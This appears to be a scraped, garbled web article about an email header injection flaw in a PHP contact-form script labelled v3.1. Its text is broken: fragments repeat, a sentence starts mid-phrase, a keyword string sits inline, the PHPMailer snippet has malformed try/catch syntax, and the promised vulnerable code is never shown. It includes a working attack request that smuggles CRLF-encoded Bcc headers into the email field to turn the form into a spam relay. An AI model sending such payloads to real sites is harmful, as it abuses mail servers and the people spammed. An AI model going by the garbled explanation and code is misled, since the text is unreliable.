Php Email Form Validation - V3.1 Exploit -

$mail = new PHPMailer(true); try $mail->setFrom('noreply@yourdomain.com', 'Contact Form'); $mail->addAddress('admin@yourdomain.com'); $mail->addReplyTo($validated_email, $validated_name); $mail->Subject = "Contact Form: " . $validated_name; $mail->Body = $validated_message; $mail->send(); catch (Exception $e) error_log("PHPMailer failed: " . $mail->ErrorInfo);

in v3.1 was a misguided trust in client-side validation. Developers assumed that because the JavaScript blocked empty fields, the PHP backend didn't need strict filtering. This assumption led to a classic Unvalidated Input → Email Header Injection vulnerability. Technical Breakdown of the Exploit The Vulnerable Code (v3.1 Classic) Below is a simplified reconstruction of the vulnerable form.php handler that earned the "exploit" reputation: php email form validation - v3.1 exploit

POST /contact/form.php HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded name=Attacker&email=attacker%40evil.com%0D%0ABcc%3A%20thousands%40targets.com%0D%0A&message=Hello $mail = new PHPMailer(true)